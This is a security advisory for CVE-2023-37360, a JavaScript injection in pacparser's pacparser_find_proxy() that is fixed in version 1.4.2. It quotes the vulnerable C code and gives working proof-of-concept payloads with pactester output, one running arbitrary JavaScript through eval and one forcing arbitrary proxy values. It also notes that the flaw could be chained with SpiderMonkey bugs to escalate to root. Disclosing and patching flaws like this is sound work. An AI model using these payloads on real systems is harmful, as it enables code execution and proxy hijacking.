Skip to content

JavaScript Injection in pacparser_find_proxy() (CVE-2023-37360)

Moderate
manugarg published GHSA-62q6-v997-f7v9 May 25, 2023

Package

pacparser

Affected versions

<= 1.4.1

Patched versions

1.4.2

Description

Summary

A JavaScript Injection in pacparser_find_proxy() enables the execution of arbitrary JavaScript code in the context of pacparser's 16 years old version of SpiderMonkey. We are aware of security solutions that integrate pacparser and run as root; this creates a vector for local privilege escalation by chaining this injection with vulnerabilities in SpiderMonkey.

Details

When software integrating pacparser wants to evaluate the PAC configuration file to identify the proxy to be used for a given URL and host, they may invoke pacparser_find_proxy(). This function loads the PAC script and interpolates the full URL and the host in it using strcat():

char * 
pacparser_find_proxy(const char *url, const char *host)
// [...]
char *sanitized_url = str_replace(url, "'", "%27");
// [...]
script = (char*) malloc(32 + strlen(sanitized_url) + strlen(host));
script[0] = '\0';
strcat(script, "findProxyForURL('");
strcat(script, sanitized_url);
strcat(script, "', '");
strcat(script, host);
strcat(script, "')");

It is interesting to note that single quotes are URL-encoded to prevent url and host from breaking out of the JavaScript string context. However, it does not take into account backslashes that would escape the single quote concatenated right after sanitized_url. In the absence of a strong validation on the host after its extraction from url, this provides two injection points in the resulting script.

This is what the execution of pactester looks like for a correctly-formatted URL:

$ PACPARSER_DEBUG=1 ./src/pactester -u 'https://google.com' -p tests/proxy.pac
DEBUG: Pacparser Initalized.
DEBUG: Parsed the PAC script.
DEBUG: Parsed the PAC file: tests/proxy.pac
DEBUG: Finding proxy for URL: https://google.com and Host: google.com
DEBUG: Executing JavaScript: typeof(findProxyForURL);
DEBUG: Executing JavaScript: findProxyForURL('https://google.com', 'google.com')
secureUrl
DEBUG: Pacparser destroyed.

If a backslash is used at the end of the URL, pactester warns of a SyntaxError exception: that's a sign that characters after the backslash are out of a string context:

$ PACPARSER_DEBUG=1 ./src/pactester -u 'https://foo\\' -p tests/proxy.pac
DEBUG: Pacparser Initalized.
DEBUG: Parsed the PAC script.
DEBUG: Parsed the PAC file: tests/proxy.pac
DEBUG: Finding proxy for URL: https://foo\ and Host: foo\
DEBUG: Executing JavaScript: typeof(findProxyForURL);
DEBUG: Executing JavaScript: findProxyForURL('https://foo\', 'foo\')
JSERROR: NULL:1:
SyntaxError: missing ) after argument list
pacparser.c: pacparser_find_proxy: Problem in executing findProxyForURL.
pactester.c: Problem in finding proxy for https://foo\.
DEBUG: Pacparser destroyed.

To execute arbitrary JavaScript code without any restriction (no single quote, etc), have access to the global scope, and raise an exception to show the result of the operation, we came up with the following payload; replace REPLACEME by the URL-encoded JavaScript you want to execute–make sure to correctly escape special characters in the string depending on your shell first:

http://,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\

$ PACPARSER_DEBUG=1 ./src/pactester -u 'http://,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\\' -p tests/proxy.pac

DEBUG: Pacparser Initalized.
DEBUG: Parsed the PAC script.
DEBUG: Parsed the PAC file: tests/proxy.pac
DEBUG: Finding proxy for URL: http://,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\ and Host: ,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\
DEBUG: Executing JavaScript: typeof(findProxyForURL);
DEBUG: Executing JavaScript:
findProxyForURL('http://,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\',',(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\')
JSERROR: NULL:1: ReferenceError: REPLACEME is not defined
pacparser.c: pacparser_find_proxy: Problem in executing findProxyForURL.
pactester.c: Problem in finding proxy for http://,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\.
DEBUG: Pacparser destroyed.

The same structure can be used to return arbitrary proxy values:

$ PACPARSER_DEBUG=1 ./src/pactester -u 'http://,"")&&"foo.bar";<!--?\\' -p
tests/proxy.pac
DEBUG: Pacparser Initalized.
DEBUG: Parsed the PAC script.
DEBUG: Parsed the PAC file: tests/proxy.pac
DEBUG: Finding proxy for URL: http://,"")&&"foo.bar";<!--?\ and Host:,"")&&"foo.bar";<!--?\
DEBUG: Executing JavaScript: typeof(findProxyForURL);
DEBUG: Executing JavaScript: findProxyForURL('http://,"")&&"foo.bar";<!--?\',',"")&&"foo.bar";<!--?\') 
foo.bar

Impact

Attackers with control over the URL can execute arbitrary JavaScript code.

The impact would vary greatly depending on its use, but persistent instances of pacparser (e.g. without calls to pacparser_cleanup() between two proxy resolutions) could be forced to return arbitrary values for proxies by overriding the implementation of functions like findProxyForURL().

The JavaScript engine currently used by pacparser is an old and unsupported version of Spidermonkey. If someone is break out of the Spidermonkey sandbox, they will be able to run arbitrary code through this vulnerability. We are aware of enterprise security products embedding pacparser and running as root, in which case attackers could elevate their privileges. We are aware of several memory corruption vulnerabilities in this version of the software, but we didn't (yet) leverage them to obtain arbitrary code execution.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CVE ID

CVE-2023-37360

Weaknesses